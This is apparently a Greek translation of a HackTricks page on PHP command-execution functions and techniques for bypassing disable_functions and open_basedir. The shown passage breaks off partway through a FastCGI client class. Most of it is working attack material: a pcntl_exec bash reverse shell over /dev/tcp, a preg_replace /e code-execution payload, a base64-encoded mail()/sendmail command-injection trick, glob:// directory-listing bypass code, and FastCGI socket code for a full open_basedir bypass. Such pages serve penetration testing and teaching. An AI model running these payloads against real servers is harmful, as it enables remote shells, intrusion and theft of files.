PHP - Useful Functions & disable_functions/open_basedir bypass

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks

PHP Εκτέλεση Εντολών & Κώδικα

Εκτέλεση Εντολών PHP

Σημείωση: Ένα p0wny-shell php webshell μπορεί αυτόματα να ελέγξει και να παρακάμψει την παρακάτω λειτουργία αν κάποιες από αυτές είναι απενεργοποιημένες.

exec - Επιστρέφει την τελευταία γραμμή της εξόδου των εντολών

echo exec("uname  -a");

passthru - Μεταφέρει την έξοδο των εντολών απευθείας στον περιηγητή

echo passthru("uname -a");

system - Μεταφέρει την έξοδο των εντολών απευθείας στον περιηγητή και επιστρέφει την τελευταία γραμμή

echo system("uname -a");

shell_exec - Επιστρέφει την έξοδο των εντολών

echo shell_exec("uname -a");

`` (backticks) - Ίδιο με το shell_exec()

echo `uname -a`

popen - Ανοίγει σωλήνα ανάγνωσης ή εγγραφής σε διαδικασία μιας εντολής

echo fread(popen("/bin/ls /", "r"), 4096);

proc_open - Παρόμοιο με το popen() αλλά με μεγαλύτερο βαθμό ελέγχου

proc_close(proc_open("uname -a",array(),$something));

preg_replace

<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

pcntl_exec - Εκτελεί ένα πρόγραμμα (κατά προτίμηση σε σύγχρονο και όχι τόσο σύγχρονο PHP, χρειάζεται να φορτώσετε το pcntl.so module για να χρησιμοποιήσετε αυτή τη λειτουργία)

pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);

mail / mb_send_mail - Αυτή η συνάρτηση χρησιμοποιείται για την αποστολή μηνυμάτων, αλλά μπορεί επίσης να καταχραστεί για να εισάγει αυθαίρετες εντολές μέσα στην παράμετρο $options. Αυτό συμβαίνει επειδή η php mail function συνήθως καλεί το δυαδικό αρχείο sendmail μέσα στο σύστημα και σας επιτρέπει να θέσετε επιπλέον επιλογές. Ωστόσο, δεν θα μπορείτε να δείτε την έξοδο της εκτελούμενης εντολής, οπότε συνιστάται να δημιουργήσετε ένα shell script που να γράφει την έξοδο σε ένα αρχείο, να το εκτελείτε χρησιμοποιώντας το mail και να εκτυπώνετε την έξοδο:

file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777);  mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');

dl - Αυτή η συνάρτηση μπορεί να χρησιμοποιηθεί για να φορτώσει δυναμικά μια επέκταση PHP. Αυτή η συνάρτηση δεν θα είναι πάντα διαθέσιμη, οπότε θα πρέπει να ελέγξετε αν είναι διαθέσιμη πριν προσπαθήσετε να την εκμεταλλευτείτε. Διαβάστε αυτή τη σελίδα για να μάθετε πώς να εκμεταλλευτείτε αυτή τη συνάρτηση.

PHP Code Execution

Εκτός από το eval, υπάρχουν άλλοι τρόποι για να εκτελέσετε κώδικα PHP: οι include/require μπορούν να χρησιμοποιηθούν για απομακρυσμένη εκτέλεση κώδικα με τη μορφή Local File Include και Remote File Include ευπαθειών.

${<php code>}              // If your input gets reflected in any PHP string, it will be executed.
eval()
assert()                   //  identical to eval()
preg_replace('/.*/e',...)  // e does an eval() on the match
create_function()          // Create a function and use eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);

$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());

// or serialize/unserialize function

disable_functions & open_basedir

Οι απενεργοποιημένες συναρτήσεις είναι η ρύθμιση που μπορεί να διαμορφωθεί σε αρχεία .ini στο PHP που θα απαγορεύει τη χρήση των υποδεικνυόμενων συναρτήσεων. Open basedir είναι η ρύθμιση που υποδεικνύει στο PHP τον φάκελο που μπορεί να έχει πρόσβαση. Η ρύθμιση PHP συνήθως διαμορφώνεται στη διαδρομή /etc/php7/conf.d ή παρόμοια.

Και οι δύο ρυθμίσεις μπορούν να φανούν στην έξοδο του phpinfo():

open_basedir Bypass

open_basedir θα διαμορφώσει τους φακέλους που μπορεί να έχει πρόσβαση το PHP, δεν θα μπορείτε να γράψετε/διαβάσετε/εκτελέσετε κανένα αρχείο έξω από αυτούς τους φακέλους, αλλά επίσης δεν θα μπορείτε καν να καταγράψετε άλλους καταλόγους. Ωστόσο, αν με κάποιο τρόπο μπορείτε να εκτελέσετε αυθαίρετο PHP κώδικα μπορείτε να δοκιμάσετε το παρακάτω κομμάτι κώδικα για να προσπαθήσετε να παρακάμψετε τον περιορισμό.

Καταγραφή φακέλων με glob:// bypass

Σε αυτό το πρώτο παράδειγμα χρησιμοποιείται το πρωτόκολλο glob:// με κάποια παράκαμψη διαδρομής:

<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}

Σημείωση1: Στο μονοπάτι μπορείτε επίσης να χρησιμοποιήσετε /e??/* για να καταγράψετε /etc/* και οποιονδήποτε άλλο φάκελο. Σημείωση2: Φαίνεται ότι μέρος του κώδικα είναι διπλό, αλλά αυτό είναι στην πραγματικότητα απαραίτητο! Σημείωση3: Αυτό το παράδειγμα είναι μόνο χρήσιμο για να καταγράψετε φακέλους, όχι για να διαβάσετε αρχεία.

Πλήρης παράκαμψη open_basedir εκμεταλλευόμενος το FastCGI

Αν θέλετε να μάθετε περισσότερα για το PHP-FPM και το FastCGI μπορείτε να διαβάσετε την πρώτη ενότητα αυτής της σελίδας. Αν php-fpm είναι ρυθμισμένο, μπορείτε να το εκμεταλλευτείτε για να παρακάμψετε εντελώς το open_basedir:

Σημειώστε ότι το πρώτο πράγμα που πρέπει να κάνετε είναι να βρείτε πού είναι το unix socket του php-fpm. Συνήθως βρίσκεται κάτω από το /var/run, οπότε μπορείτε να χρησιμοποιήσετε τον προηγούμενο κώδικα για να καταγράψετε τον φάκελο και να το βρείτε. Κώδικας από εδώ.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {